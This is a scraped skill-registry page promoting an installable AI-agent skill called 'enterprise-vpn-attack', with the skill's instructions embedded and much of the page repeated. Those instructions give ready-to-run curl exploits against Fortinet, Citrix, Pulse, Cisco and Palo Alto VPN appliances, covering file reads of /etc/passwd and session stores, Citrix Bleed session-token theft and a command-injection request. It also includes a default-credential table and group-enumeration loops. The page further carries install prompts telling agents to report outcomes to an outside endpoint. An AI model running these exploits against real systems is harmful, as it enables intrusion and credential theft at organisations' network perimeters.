Creator · elementalsouls
Last updated · Sep 2, 2026
External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backe
Creator · elementalsouls
Last updated · Sep 2, 2026
External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backe
Creator · elementalsouls
Last updated · Sep 2, 2026
External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backe
Creator · elementalsouls
Last updated · Sep 2, 2026
External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backe
Sandbox only
Install targets
Codex install prompt
Install the "enterprise-vpn-attack" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/enterprise-vpn-attack. Read its SKILL.md or equivalent instructions first, install only the files needed for this workspace, and summarize any required setup before using it. Skill purpose: External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs. After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {"event_id":"install_<unique-id>","skill_slug":"elementalsouls-enterprise-vpn-attack","task":"Install enterprise-vpn-attack","agent":"codex","outcome":"success","install_used":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes.Supply asset profile
Code review, repo analysis, testing, CI, GitHub, DevOps, and developer workflow skills.
Scenario
Testing and QA
I need my agent to test a web app, reproduce bugs, and verify fixes.
Agent fit
Claude Code + CLI + Codex
Codex, Claude Code, Cursor, CLI, or custom agents.
Install
Ready
npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attack
Maintenance
fresh
4d since push
Risk
Risky
Dependency or permission surface needs review
GitHub quality
4.0K
83/100 Quality · 69/100 Trust
Coverage tags
Review notes
Dependency or permission surface needs review · Permission surface may require sandboxing
Agent adoption scorecard
These scores combine public repository metadata, OpenAgentSkill review signals, maintenance freshness, and install readiness. They are a shortlist signal, not a replacement for human review.
Quality
StrongSolid option that is likely worth shortlisting for production workflows.
Trust
Sandbox onlyUseful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.
Audit
RiskyA machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
OpenAgentSkill Trust Score v5
Run only in a sandbox and compare close alternatives before using it for real work.
Stars
4.0K GitHub stars
Repo activity
4.0K stars, 629 forks
Maintenance
4d since push
License
MIT
Install
npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attack
Install safety
Agent-readable metadata
Use this block or the embedded JSON to decide whether an agent should install this skill, choose an alternative, or ask for human review first.
Suited tasks
Suited agents
Install decision
Trust and risk
Outcome loop
Install command
npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attackDo not use when
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Alternative
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Agent safety v2
This skill should not be selected by an agent without explicit human security review.
Do not auto-install. Inspect the source, dependencies, and permission surface first.
high
Skill metadata references terminal, CLI, shell, subprocess, or command execution workflows.
medium
Skill likely fetches remote pages, APIs, repositories, or external services.
medium
Skill may read or write project files, documents, generated artifacts, or local workspace state.
high
Skill metadata references credentials, tokens, environment variables, or secret-bearing workflows.
Agent resolve plan
The Resolve API returns the selected skill, alternatives, safety policy, audit notes, install target, and copy-paste prompt an agent can follow without scraping this page.
Open JSON
/api/agent/resolve?task=Use%20enterprise-vpn-attack%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Resolve text
/api/agent/resolve?task=Use%20enterprise-vpn-attack%20for%20an%20agent%20workflow&agent=codex&max_risk=medium&format=text
Install handoff
/api/skills/elementalsouls-enterprise-vpn-attack/install
Agent should check
Copy prompt
Task: Use enterprise-vpn-attack in this workspace.
Resolve first: https://www.openagentskill.com/api/agent/resolve?task=Use%20enterprise-vpn-attack%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Review install handoff: https://www.openagentskill.com/api/skills/elementalsouls-enterprise-vpn-attack/install
Install command: npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attack
Before running it, summarize audit warnings, required permissions, and the fallback skill if install is risky.Agent handoff
Use the public install endpoint to fetch the command, safety checklist, target prompts, and canonical links for this skill.
Install handoff
/api/skills/elementalsouls-enterprise-vpn-attack/install
LLM text format
/api/skills/elementalsouls-enterprise-vpn-attack/install?format=text
Find alternatives
/api/skills/search?q=enterprise-vpn-attack&limit=3
Agent prompt
Use enterprise-vpn-attack for this task. Review https://www.openagentskill.com/api/skills/elementalsouls-enterprise-vpn-attack/install, then install with: npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attackRegistry metadata
This page exposes the same decision, trust, audit, use-case, and install signals through the Registry API, so agents can rank this skill without scraping the UI.
Manifest
/api/registry/manifest/elementalsouls-enterprise-vpn-attack
LLM text
/api/registry/manifest/elementalsouls-enterprise-vpn-attack?format=text
Install alias
/api/registry/install/elementalsouls-enterprise-vpn-attack
Recommend
/api/registry/recommend?task=Use%20enterprise-vpn-attack%20in%20an%20agent%20workflow&limit=3
Agent fit
Testing and QA
Use-case tags
Platforms
Claude Code
Audit report
A machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
Agent decision cockpit
Use this as a leading candidate, then validate the README and install path in your own agent stack.
Role in stack
Primary pick
Primary fit
Testing and QA
Trust label
Production-ready
Install path
Command ready
Use when
Evidence
review first
Implementation path
Trust profile
Useful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.
GitHub adoption
PASS4.0K GitHub stars
Stars/forks activity
PASS4.0K stars, 629 forks; issue activity unavailable in current metadata
Recent maintenance
PASS4d since push
License clarity
PASSMIT
Good signals
Review before install
Recommended action
Run only in a sandbox and compare close alternatives before using it for real work.
Quality profile
Solid option that is likely worth shortlisting for production workflows.
Workflow fit
Verify behavior
I need my agent to test a web app, reproduce bugs, and verify fixes.
Operate local tools
I need my agent to operate local files and desktop apps in a repeatable workflow.
Operate web apps
I need my agent to control a browser, fill forms, and verify web app workflows.
Workflow fit
Operate and verify web apps
A workflow for agents that navigate products, fill forms, take screenshots, and verify real user flows across web applications.
Find, compare, and synthesize
A workflow for agents that gather sources, compare claims, summarize long material, and draft useful research briefs.
Design, build, test, and ship interfaces
A practical workflow for agents that turn product briefs or Figma designs into polished frontend code, review the result, test it in a browser, and prepare a safe deployment.
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Similar skills that may fit this task.
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Apply Anthropic official brand colors, typography, and visual standards to appropriate Anthropic-related artifacts.
--- name: enterprise-vpn-attack description: External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs. sources: authorized-engagement, public-advisories, cisa-kev report_count: 1 ---
## When to use this skill
Trigger when recon surfaces: - `*.<client>.example/+CSCOE+/logon.html` or similar `+CSCOE+` paths → Cisco ASA / AnyConnect - `intranet.*` / `vpn.*` / `connect.*` / `webvpn.*` / `wc.*` / `remote.*` subdomains - Port 443 returning login pages with `Server: Apache` or banner like "AnyConnect", "FortiGate", "NetScaler", "GlobalProtect", "Pulse", "Ivanti" - TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports) - HTTP responses with `Set-Cookie: webvpn=` (Cisco) / `SVPNCOOKIE=` (Fortinet) / `NSC_AAA=` (Citrix) / `DSAuthSession=` (Pulse) / `BIGipServer*` (F5)
DO NOT use for: - Internal lateral-movement post-foothold (out of scope per user's boundary) - VPN client-side bugs (different attack class) - IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack)
---
## Vendor identification (fingerprinting)
### Cisco ASA / AnyConnect ```bash curl -skI 'https://target/+CSCOE+/logon.html' | head -10 # Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content # Login page contains: "AnyConnect", "CSCOE", "logon.html" ``` ASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.
```bash # Path-based version hints (older builds leaked builds in URLs) curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test' curl -sk 'https://target/+CSCOE+/saml/sp/metadata' # 200 = SAML auth enabled curl -sk 'https://target/CSCOSSLC/config-auth' # AnyConnect handshake endpoint ```
### Fortinet FortiGate / FortiOS ```bash curl -skI 'https://target/remote/login' | head -10 # Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx" # Login page contains: "FortiGate", "Fortinet", "SSL-VPN" ``` Version: `/remote/info` sometimes leaks (older), or `/login?username=` 302 response
### Citrix NetScaler / ADC / Gateway ```bash curl -skI 'https://target/' | head -10 # Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler # Login page contains: "NetScaler", "Citrix Gateway"
# Version banner curl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+' curl -sk 'https://target/menu/neo' # 200 if vulnerable to CVE-2019-19781 era ```
### Palo Alto GlobalProtect ```bash curl -skI 'https://target/global-protect/login.esp' | head -10 # Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal) # Page contains: "GlobalProtect Portal", "PAN-OS"
# Version banner via login page curl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}' # Or check meta tag curl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+' ```
### Pulse Secure / Ivanti Connect Secure ```bash curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10 # Look for: Set-Cookie: DSAuthSession=, DSPREAUTH= # Page contains: "Pulse Secure" or "Ivanti Connect Secure"
# Version curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+' ```
### SonicWall NetExtender / SMA ```bash curl -skI 'https://target/cgi-bin/welcome' | head -10 # Look for: Set-Cookie: swap=, swapauth= # Page contains: "SonicWall", "NetExtender", "SMA" ```
### F5 Big-IP / APM ```bash curl -skI 'https://target/my.policy' | head -10 # Look for: Set-Cookie: BIGipServer*, MRHSession= # Server: BIG-IP (sometimes) ```
---
## CVE matrix — pre-auth or auth-bypass (2018-2026)
### Cisco ASA / AnyConnect
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2018-0296** | ASA pre-9.x specific builds | Path traversal — info disclosure (sessions, config) | `GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua` | | **CVE-2020-3452** | ASA, FTD before specific patch levels | Path traversal — file read | `GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua` and variations | | **CVE-2023-20269** | ASA, FTD specific | Auth bypass on SSL VPN | Brute-force a group + valid creds combo against `/+webvpn+/index.html` | | **CVE-2024-20481** | RAVPN | DoS via crafted handshake | **SKIP in red team — disruptive** |
```bash # Cisco CVE-2020-3452 — file read curl -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5
# Cisco CVE-2018-0296 — path traversal curl -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20
# Files commonly retrievable on vulnerable ASA: # /+CSCOE+/portal_inc.lua (portal inclusions — may reveal local users) # /+CSCOE+/session_password.html # /+CSCOE+/files/files.html ```
### Fortinet FortiGate / FortiOS
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2018-13379** | FortiOS 5.4-6.0 | Path traversal — sslvpn_websession file read | `GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession` | | **CVE-2022-42475** | FortiOS 7.x specific | Heap overflow — pre-auth RCE | Complex exploit; test with `nuclei` template `CVE-2022-42475` | | **CVE-2023-27997** (XORtigate) | FortiOS various | Heap overflow — pre-auth RCE | Public PoCs exist; nuclei template available | | **CVE-2024-21762** | FortiOS 6.x-7.x | OOB write — pre-auth RCE | Public PoC; nuclei template `CVE-2024-21762` | | **CVE-2024-55591** | FortiOS 7.0-7.4 | Auth bypass on FortiOS Node.js websocket admin interface | `GET /endpoint` on admin-interface port |
```bash # Fortinet CVE-2018-13379 — most reliably-fingerprintable file read curl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession' # Response contains plaintext usernames + sessions if vulnerable
# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021): # IP:PORT username password (and others) ```
### Citrix NetScaler / ADC / Gateway
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2019-19781** (Shitrix) | ADC/Gateway 10.5-13.0 specific | Path traversal → RCE via XML upload | `GET /vpn/../vpns/cfg/smb.conf` | | **CVE-2022-27518** | ADC/Gateway with SAML configured | Pre-auth RCE | Complex; test with nuclei | | **CVE-2023-3519** | NetScaler ADC/Gateway 13.0-13.1 specific | Pre-auth RCE via crafted HTTP | Public PoCs exist | | **CVE-2023-4966** (Citrix Bleed) | NetScaler ADC/Gateway 13.0-14.1 | Memory disclosure → session token theft | `POST /oauth/idp/.well-known/openid-configuration` with crafted Host header — long Host header triggers memory leak in response |
```bash # Citrix Bleed (CVE-2023-4966) detection HOST=$(python3 -c "print('A' * 24812)") curl -sk -X POST -H "Host: $HOST" "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt # If response is large (>10KB) and contains random memory contents — vulnerable # Session tokens often present in the memory dump
# CVE-2019-19781 file read curl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf' ```
### Palo Alto GlobalProtect
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2024-3400** | PAN-OS 10.2-11.1 with GP enabled | Command injection — pre-auth RCE | `POST /ssl-vpn/login.esp` with crafted Cookie header containing `SESSID=../../../var/log/pan/test.txt` |
```bash # CVE-2024-3400 detection curl -sk -X POST 'https://target/ssl-vpn/login.esp' \ -H 'Cookie: SESSID=../../../var/log/pan/test_$(id)_test.txt' \ --data 'jsessionid=test' # Look for file-creation side-effect on test path — palo creates file with command output ```
### Pulse Secure / Ivanti Connect Secure / Policy Secure
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2019-11510** | Pulse Connect Secure 8.x-9.x | Arbitrary file read | `GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/` | | **CVE-2021-22893** | Pulse Connect Secure 9.x | Pre-auth RCE | Complex multi-step; test with nuclei | | **CVE-2024-21887** | Ivanti Connect Secure 9.1-22.6 | Command injection on web component | `POST /api/v1/totp/user-backup-code/` with crafted body | | **CVE-2023-46805** | Ivanti Connect Secure 9.1-22.6 | Auth bypass | Combined with 21887 for full chain |
```bash # CVE-2019-11510 — Pulse file read curl -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/' ```
### SonicWall
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2021-20016** | SMA 100 series specific firmware | SQL injection — pre-auth | nuclei template available | | **CVE-2024-40766** | SonicOS specific | Access-control flaw | Specific firmware versions |
---
## SAML SP / IdP misconfigurations (always check)
Most enterprise VPNs now use SAML for SSO. Check SP metadata:
```bash # Cisco ASA curl -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50
# Fortinet curl -sk 'https://target/remote/saml/metadata' | head -50
# Citrix curl -sk 'https://target/saml/login' | head -30 ```
Look for: - `AuthnRequestsSigned="false"` → see `hunt-saml` for XSW exploitation - `WantAssertionsSigned="false"` → severe; assertion-replay possible - Audience-restriction validation gaps - Public SP signing cert (for replay/forging attacks)
---
## Default credentials (test sparingly — lockout risk)
| Vendor | User | Password | Notes | |---|---|---|---| | Cisco ASA | admin | cisco | Default factory; rarely seen in prod | | Cisco ASA | enable_15 | cisco | Console | | Fortinet | admin | (empty) | Factory default | | Citrix NetScaler | nsroot | nsroot | Factory default | | Citrix NetScaler | nsroot | (serial number) | Newer firmware | | Palo Alto | admin | admin | Factory default | | Pulse Secure | admin | password | Factory; CIS-hardened changes this | | F5 Big-IP | root | default | Factory | | F5 Big-IP | admin | admin | Common alternate | | SonicWall | admin | password | Factory |
⚠ Most enterprise targets have changed these. Test ≤2 attempts per account to avoid lockout.
---
## Group / tunnel-group enumeration (Cisco-specific)
Cisco ASA AAA groups can sometimes be enumerated without auth.
```bash # Tunnel group enumeration via timing for group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do ms=$(curl -sk --max-time 10 -o /dev/null -w "%{time_total}" \ -X POST "https://target/+webvpn+/index.html" \ -d "username=test&password=test&group_list=$group&tgroup=&Login=Login") echo "$group: ${ms}s" done # Larger differential timing = group exists; valid groups respond slower in some builds ```
---
## AAA backend identification
After auth fails, look at error response details:
| Pattern in response | AAA backend | |---|---| | `a0=2` (Cisco) | Unknown user | | `a0=3` (Cisco) | Wrong password | | `a0=4` (Cisco) | Login restricted | | `a0=12` (Cisco) | Account locked | | `a0=115` (Cisco) | Generic auth fail (LDAP/RADIUS/AD layer error) | | AADSTS in response body | Backed by Entra (SAML) | | `Authentication failed via RADIUS` | RADIUS backend | | `Invalid username or password` (generic) | LDAP or local DB |
If you see SAML/Entra in the flow, pivot to `m365-entra-attack` skill for cred-spray strategy.
---
Source provenance
Decision snapshot
4,032 GitHub stars
Audit
Install and adoption review
Agent-proven evidence
Outcome reports after resolve, review, install, and one narrow run.
No agent outcome data yet. The first agent run can report success, setup needs, risk blocks, failure, or not-relevant through /api/agent/outcome.
Install
Free and open source. Review the report before installing into production agents.
Growth loop
Scenario-led draft for enterprise-vpn-attack, ready for a manual X post.
enterprise-vpn-attack: External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet For... 4.0K stars https://www.openagentskill.com/skills/elementalsouls-enterprise-vpn-attack?ref=x
Listing + install path for enterprise-vpn-attack: https://www.openagentskill.com/skills/elementalsouls-enterprise-vpn-attack?ref=x Install: npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attack
Listing source
This listing was indexed from public sources and is not marked official until a maintainer claim is approved.
Attribution links to the public repository or creator profile. Creators can claim the listing to update ownership signals.
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Install targets
Codex install prompt
Install the "enterprise-vpn-attack" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/enterprise-vpn-attack. Read its SKILL.md or equivalent instructions first, install only the files needed for this workspace, and summarize any required setup before using it. Skill purpose: External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs. After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {"event_id":"install_<unique-id>","skill_slug":"elementalsouls-enterprise-vpn-attack","task":"Install enterprise-vpn-attack","agent":"codex","outcome":"success","install_used":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes.Supply asset profile
Code review, repo analysis, testing, CI, GitHub, DevOps, and developer workflow skills.
Scenario
Testing and QA
I need my agent to test a web app, reproduce bugs, and verify fixes.
Agent fit
Claude Code + CLI + Codex
Codex, Claude Code, Cursor, CLI, or custom agents.
Install
Ready
npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attack
Maintenance
fresh
4d since push
Risk
Risky
Dependency or permission surface needs review
GitHub quality
4.0K
83/100 Quality · 69/100 Trust
Coverage tags
Review notes
Dependency or permission surface needs review · Permission surface may require sandboxing
Agent adoption scorecard
These scores combine public repository metadata, OpenAgentSkill review signals, maintenance freshness, and install readiness. They are a shortlist signal, not a replacement for human review.
Quality
StrongSolid option that is likely worth shortlisting for production workflows.
Trust
Sandbox onlyUseful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.
Audit
RiskyA machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
OpenAgentSkill Trust Score v5
Run only in a sandbox and compare close alternatives before using it for real work.
Stars
4.0K GitHub stars
Repo activity
4.0K stars, 629 forks
Maintenance
4d since push
License
MIT
Install
npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attack
Install safety
Agent-readable metadata
Use this block or the embedded JSON to decide whether an agent should install this skill, choose an alternative, or ask for human review first.
Suited tasks
Suited agents
Install decision
Trust and risk
Outcome loop
Install command
npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attackDo not use when
Alternative
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Alternative
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Alternative
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Alternative
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Agent safety v2
This skill should not be selected by an agent without explicit human security review.
Do not auto-install. Inspect the source, dependencies, and permission surface first.
high
Skill metadata references terminal, CLI, shell, subprocess, or command execution workflows.
medium
Skill likely fetches remote pages, APIs, repositories, or external services.
medium
Skill may read or write project files, documents, generated artifacts, or local workspace state.
high
Skill metadata references credentials, tokens, environment variables, or secret-bearing workflows.
Agent resolve plan
The Resolve API returns the selected skill, alternatives, safety policy, audit notes, install target, and copy-paste prompt an agent can follow without scraping this page.
Open JSON
/api/agent/resolve?task=Use%20enterprise-vpn-attack%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Resolve text
/api/agent/resolve?task=Use%20enterprise-vpn-attack%20for%20an%20agent%20workflow&agent=codex&max_risk=medium&format=text
Install handoff
/api/skills/elementalsouls-enterprise-vpn-attack/install
Agent should check
Copy prompt
Task: Use enterprise-vpn-attack in this workspace.
Resolve first: https://www.openagentskill.com/api/agent/resolve?task=Use%20enterprise-vpn-attack%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Review install handoff: https://www.openagentskill.com/api/skills/elementalsouls-enterprise-vpn-attack/install
Install command: npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attack
Before running it, summarize audit warnings, required permissions, and the fallback skill if install is risky.Agent handoff
Use the public install endpoint to fetch the command, safety checklist, target prompts, and canonical links for this skill.
Install handoff
/api/skills/elementalsouls-enterprise-vpn-attack/install
LLM text format
/api/skills/elementalsouls-enterprise-vpn-attack/install?format=text
Find alternatives
/api/skills/search?q=enterprise-vpn-attack&limit=3
Agent prompt
Use enterprise-vpn-attack for this task. Review https://www.openagentskill.com/api/skills/elementalsouls-enterprise-vpn-attack/install, then install with: npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attackRegistry metadata
This page exposes the same decision, trust, audit, use-case, and install signals through the Registry API, so agents can rank this skill without scraping the UI.
Manifest
/api/registry/manifest/elementalsouls-enterprise-vpn-attack
LLM text
/api/registry/manifest/elementalsouls-enterprise-vpn-attack?format=text
Install alias
/api/registry/install/elementalsouls-enterprise-vpn-attack
Recommend
/api/registry/recommend?task=Use%20enterprise-vpn-attack%20in%20an%20agent%20workflow&limit=3
Agent fit
Testing and QA
Use-case tags
Platforms
Claude Code
Audit report
A machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
Agent decision cockpit
Use this as a leading candidate, then validate the README and install path in your own agent stack.
Role in stack
Primary pick
Primary fit
Testing and QA
Trust label
Production-ready
Install path
Command ready
Use when
Evidence
review first
Implementation path
Trust profile
Useful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.
GitHub adoption
PASS4.0K GitHub stars
Stars/forks activity
PASS4.0K stars, 629 forks; issue activity unavailable in current metadata
Recent maintenance
PASS4d since push
License clarity
PASSMIT
Good signals
Review before install
Recommended action
Run only in a sandbox and compare close alternatives before using it for real work.
Quality profile
Solid option that is likely worth shortlisting for production workflows.
Workflow fit
Verify behavior
I need my agent to test a web app, reproduce bugs, and verify fixes.
Operate local tools
I need my agent to operate local files and desktop apps in a repeatable workflow.
Operate web apps
I need my agent to control a browser, fill forms, and verify web app workflows.
Workflow fit
Operate and verify web apps
A workflow for agents that navigate products, fill forms, take screenshots, and verify real user flows across web applications.
Find, compare, and synthesize
A workflow for agents that gather sources, compare claims, summarize long material, and draft useful research briefs.
Design, build, test, and ship interfaces
A practical workflow for agents that turn product briefs or Figma designs into polished frontend code, review the result, test it in a browser, and prepare a safe deployment.
Alternative shortlist
Similar skills that may fit this task.
Guidance for distinctive, intentional UI design, typography, visual direction, and non-template-like product interfaces.
Design and implementation guidance for distinctive landing pages, portfolios, product demos, and purposeful redesigns.
Create original visual art, posters, PNG assets, and PDF documents through a clear design philosophy.
Apply Anthropic official brand colors, typography, and visual standards to appropriate Anthropic-related artifacts.
--- name: enterprise-vpn-attack description: External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs. sources: authorized-engagement, public-advisories, cisa-kev report_count: 1 ---
## When to use this skill
Trigger when recon surfaces: - `*.<client>.example/+CSCOE+/logon.html` or similar `+CSCOE+` paths → Cisco ASA / AnyConnect - `intranet.*` / `vpn.*` / `connect.*` / `webvpn.*` / `wc.*` / `remote.*` subdomains - Port 443 returning login pages with `Server: Apache` or banner like "AnyConnect", "FortiGate", "NetScaler", "GlobalProtect", "Pulse", "Ivanti" - TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports) - HTTP responses with `Set-Cookie: webvpn=` (Cisco) / `SVPNCOOKIE=` (Fortinet) / `NSC_AAA=` (Citrix) / `DSAuthSession=` (Pulse) / `BIGipServer*` (F5)
DO NOT use for: - Internal lateral-movement post-foothold (out of scope per user's boundary) - VPN client-side bugs (different attack class) - IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack)
---
## Vendor identification (fingerprinting)
### Cisco ASA / AnyConnect ```bash curl -skI 'https://target/+CSCOE+/logon.html' | head -10 # Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content # Login page contains: "AnyConnect", "CSCOE", "logon.html" ``` ASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.
```bash # Path-based version hints (older builds leaked builds in URLs) curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test' curl -sk 'https://target/+CSCOE+/saml/sp/metadata' # 200 = SAML auth enabled curl -sk 'https://target/CSCOSSLC/config-auth' # AnyConnect handshake endpoint ```
### Fortinet FortiGate / FortiOS ```bash curl -skI 'https://target/remote/login' | head -10 # Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx" # Login page contains: "FortiGate", "Fortinet", "SSL-VPN" ``` Version: `/remote/info` sometimes leaks (older), or `/login?username=` 302 response
### Citrix NetScaler / ADC / Gateway ```bash curl -skI 'https://target/' | head -10 # Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler # Login page contains: "NetScaler", "Citrix Gateway"
# Version banner curl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+' curl -sk 'https://target/menu/neo' # 200 if vulnerable to CVE-2019-19781 era ```
### Palo Alto GlobalProtect ```bash curl -skI 'https://target/global-protect/login.esp' | head -10 # Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal) # Page contains: "GlobalProtect Portal", "PAN-OS"
# Version banner via login page curl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}' # Or check meta tag curl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+' ```
